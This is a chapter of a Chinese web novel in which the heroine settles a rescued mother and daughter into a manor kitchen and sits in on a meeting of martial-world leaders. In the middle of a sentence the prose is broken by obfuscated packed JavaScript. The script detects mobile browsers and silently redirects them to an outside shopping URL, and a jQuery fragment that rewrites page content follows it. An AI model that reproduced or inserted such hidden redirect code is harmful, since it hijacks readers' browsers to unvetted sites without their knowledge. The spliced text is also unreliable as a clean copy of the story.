20. 安顿
作品:《在乙游中攻略不可攻略角色》 温瑕气呼呼地夺门而去。
张伯等在外面,听得嵇迟又交代几句,随后引着温瑕去会客厅。
裴载月这会儿已然醒了,正垂着头手里揉捏着脖颈,嘴里还嘟嘟囔囔地小声抱怨着王燮莫名其妙下手那么重。
林照晚则坐在离裴载月最远的地方,看似在安慰那对可怜的母女,实则一直用余光关注着裴载月的情况。
王燮没在,大约是去找徐既明了。
随着脚步声踏近,几人下意识地看过去,只见温瑕大步进来,林照晚当即如蒙大赦。
她没急着起身,掌心上还搭着小女孩的手。
“崔姑娘,”林照晚忐忑地望向温瑕,“盟主他如何说?”
“他交给我安排了,”温瑕笑眯眯地抱起小丫,将她举高高,而后放在自己的肩上,“小丫这么聪明,肯定知道阿娘最拿手什么?说来给姐姐听听。”
小丫咯咯地笑,掰着手指细数,“阿娘会得可多啦,绣的花好看,种的菜也好吃,养的猪也比旁人家的要壮!”
周大花慌乱地站起来,想阻止小丫继续天花乱坠地夸她,却听温瑕“哇”了声,惊呼道:“那好厉害,先天畜牧业圣体!”
虽然不明白是什么意思,但听语气应当是十分好的词。
从未被如此夸过的周大花,忽地羞赧起来,手脚都不知道该如何放,她张张嘴,无言地看着温瑕和小丫,又别过头擦了擦眼角。
再怎么厉害,那些绣的花、种的菜、养的猪,最后折算成的银子都会被小丫的爹拿去赌钱,然后输个精光。
温瑕琢磨了下,山庄的米面瓜果日常都有固定对接的商家。
一时很难给周大花找到合适的位置。
她看向管家张伯,后者轻轻摇头。
果然。
她几不可察地叹了口气,掂了掂肩上的小丫,轻得就一把骨头,完全没有这个年纪应有的重量,也不知道得喂多久才能多长些肉,想到这,温瑕忽地有了主意。
她扭头跟张伯低语几句,后者若有所思,道:“或可一试。”
“有劳。”
张伯亲自跑了趟,回来时冲温瑕轻轻颔首。
温瑕二话不说,拉上周大花兴冲冲地往外走,还不忘扶上小丫一把。
林照晚看着低眉垂首、有意避开她视线的裴载月。
先前情况紧急,他即便尚有心结也不会那时发作,现下回过神,自是心里头不畅快,却又不愿于众人面前表露。
而林照晚因逃婚一事心生有愧,若是让她独自与裴载月共处一室,想来两人都会坐立难安。
于是她连忙抬脚追上。
温瑕只一眼便明白,也没拆穿,毫无边界感地伸长手臂,将人揽进怀里,林照晚没反抗。
“林姑娘,你也一起,”她煞有介事地道,“人是一起救的,总得叫你见过安顿结果,事情才叫了结。”
·
厨房。
郑嫂正在杀鸡。
先放血,刀子在鸡的喉部那么一划,血就哗啦啦地往下淌;再烫毛,在热水里泡上一泡,然后拔毛。
她动作麻利,处理得又快又干净。
没一会儿就将一整只鸡收拾完。
案板旁是已经处理过整齐码好的配菜和佐料。
主人和裴小公子口味清淡,前者挑嘴得厉害,天上飞的、水里游的都不吃,后者就很好养活,什么都能吃。
崔姑娘也挑嘴,但远不及主人的程度,喜辣,不爱甜口。
她近来练功勤恳,因此饿得极快,一饿便要来厨房加餐,通常都是夜里来,坐在门槛上笑嘻嘻地和郑嫂搭话,等自己的夜宵。
她祖上是御厨,手艺虽然未尽得真传,放在同行里也是数一数二的,若说有遗憾,那便是还没找到可传承之人。
“郑嫂!”
一道轻快的女声含着笑意率先奔进来。
可见人是不禁念叨的,她才想到崔姑娘,便见着人过来。
郑嫂拿围裙擦擦手,出门相迎,笑着问道:“哎,来了。”
刚刚管家亲自来问,只道是小辈们救了对可怜的母女,无处可去,特来问问她还要不要帮手。
眼下见到人,才发觉张伯那话说得其实轻了,岂止是可怜,母女都瘦巴巴的,还没她刚宰的鸡肥。
天可怜的。
温瑕高高兴兴地把周大花推给郑嫂,然后给人画饼。
“我们郑嫂可是十里八乡都有名的大厨,要不说巧呢,她刚好缺个打下手的,这不你就出现了,说明你俩有缘,等你攒够钱,日后带着小丫出去做什么生意都成!”
林照晚在后面瞧着,小声问张伯:“她一直都这么油嘴滑舌吗?”
张伯忍住笑:“还好。”
山庄里闹腾点才好。
不然这一天天地流过去,他们这些老人总没什么实感。
那边郑嫂已经拉着周大花和小丫步进屋内,没一会儿小丫就捧着碗酥酪出来,温瑕见了立刻大喊大叫。
“啊!郑嫂!!!”
她哭丧着脸,像是小孩子在耍脾气,追进屋内吵吵嚷嚷。
“你怎么把我那份给她了!我不管我不管,你得补给我双份!”
“哦,那要加桂花蜜吗?”
“要的要的,再加点葡萄干!”
小丫低头看着捧在手里的酥酪,若有所思,见温瑕被撵出厨房,伸长胳膊将酥酪端到她的面前,声音清脆。
“菩萨姐姐,给你吃。”
温瑕表情微妙,细看下更多的是心虚。
林照晚“噗嗤”一声。
郑嫂的声音传出来,嗓门洪亮:“她那是逗你玩的。”
温瑕挺直腰杆,理不直气也壮,对小丫道:“别听她的,我那是在撒娇,学着点,以后像我这样混到吃的你会感谢我的。”
小丫听懂了,但还是记挂着温瑕那句“我那份”,她苦着小脸,很认真地发问:
“是不是我把酥酪供到菩萨像前面,姐姐就可以吃了?”
温瑕:“……”
听起来感觉自己像挂在墙上。
温瑕抓耳挠腮,冥思苦想要如何跟小丫解释自己不是那个什么所谓的菩萨,想来想去,她都不忍心现在就戳破小姑娘心中的幻想。
她板着脸,故作严肃。
“不用供在菩萨像前,直接端给我本人就好,但这份是郑嫂给你的,你吃,我不吃,因为一会儿我要吃两份。”
温瑕竖起两根手指,晃了晃。
林照晚:“……”
此人怎能将如此不要脸的话说得这般理直气壮。
小丫“喔”了声,眨眨眼,“谢谢菩萨姐——”
“不不不,”温瑕抬手捏住她的小嘴,一脸牙酸,“我姓崔,你叫我崔姐姐就行,那个什么菩萨,不要再叫了。”
听着怪折寿的。
小丫点点头。
温瑕与张伯商榷完细节时,林照晚全程旁听,安顿好周大花母女后,林照晚并未和温瑕分别,反而是亦步亦趋地跟着她。
哪怕是上茅厕,林照晚也在外面等着。
温瑕:“……”
她到底是多害怕面对小裴啊?
温瑕走走停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358751|197034||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
停,眼见日头落下。
“林姑娘,”她装傻,露出大愚若智的表情,“还有什么事吗?”
林照晚:“喂,你装傻装得太明显了。”
温瑕吹口哨。
林照晚:“……”
温瑕:“好吧,告诉你一个好消息,师父准备明日传信给你家里,恭喜你,你的外出游历之旅要结束了。”
她甚至还很贴心地鼓掌道喜。
林照晚面色大变,急迫之余仍不忘礼数,拱手道:
“烦请崔姑娘带我去见盟主,我有要事相商。”
懂了,不想回家。
所以要找嵇迟这个武林盟主当中间人担保劝说。
温瑕思考了一下。
她和小裴关系不错,她对林照晚印象也不错,毕竟一个能为了陌生人出头的女孩子,再怎么也不会是一个糟糕的人。
干了!
温瑕应承下来,将人送到嵇迟的书房门前。
两人到时,嵇迟正在同人议事,透过窗子只能望见一人,对方大约四十来岁,虎目虬髯,即便披着身锦袍,也压不住通身的草莽气。
一时片刻结束不了,温瑕便预备带着林照晚去院子外等。
谁知她才抬起脚,嵇迟的声音就追了过来。
“引棠,进来。”
温瑕只好唤来下人,叫对方先带着林照晚四处转转,安排好才折回去进屋,进来才发现,里面不止两人,算上嵇迟统共围坐着五人,三男两女。
其中一人轻摇折扇,狭长的双眸流转间看向嵇迟,挑眉问道:“这是?”
嵇迟:“新收的徒弟,无妨,她都听得。”
又冲温瑕道:“引棠,过来。”
温瑕乖乖走到他身侧站定。
嵇迟为她一一引荐。
虎目虬髯的是金陵沈氏家主,沈朔;拿折扇的是玉溪谷谷主,晏清;以笔束发的是求是书院院长,元枕书;模样普通见之即忘的是鹤归阁分舵舵主,微生渡。
前三个她不熟,但最后那个鹤归阁她可太熟了。
且不提阁主就是最后一位尚未登场的男主,也是她师兄,便是这个组织、连同师兄都是师父留给她的遗产。
而鹤归阁作为故事中最大的、无处不在的情报组织,鹤归阁唯有一条铁律,那便是永远都不能将自己的面貌、姓名以真示人。
温瑕觑着嵇迟,有些摸不准他的意思。
听了有一会儿,她才反应过来,嵇迟叫上这些人议的事正是和那尊菩萨像有关,于情于理她都该参与进来。
玩家顿时摆正态度,以一副求知若渴的姿态倾听着。
一个时辰下来,只大概草拟了个章程。
具体细节还需要晚些详谈。
几人散去后,嵇迟问她:“刚刚我见你带着林二过来,何事?”
林二?那谁?
温瑕:“林照晚?”
嵇迟看她一眼,没作声。
温瑕挠挠脸颊:“她说有要事相商,我见你在忙,就先叫人带她在山庄里转转。”
“叫她过来吧。”
温瑕说行,立即小跑着出去找人。
院外,微生渡正抛着铜币,见她出来,收起铜币,冲她挥挥手。
温瑕左右看看,犹疑地指指自己,“找我?”
微生渡笑吟吟的,“是。”
如无意外,她俩应该不认识。
找她干什么?
女人走近,俯身拂去温瑕肩上不存在的灰。
“阁主托我向姑娘问好。”
“他说,师妹,别来无恙。”

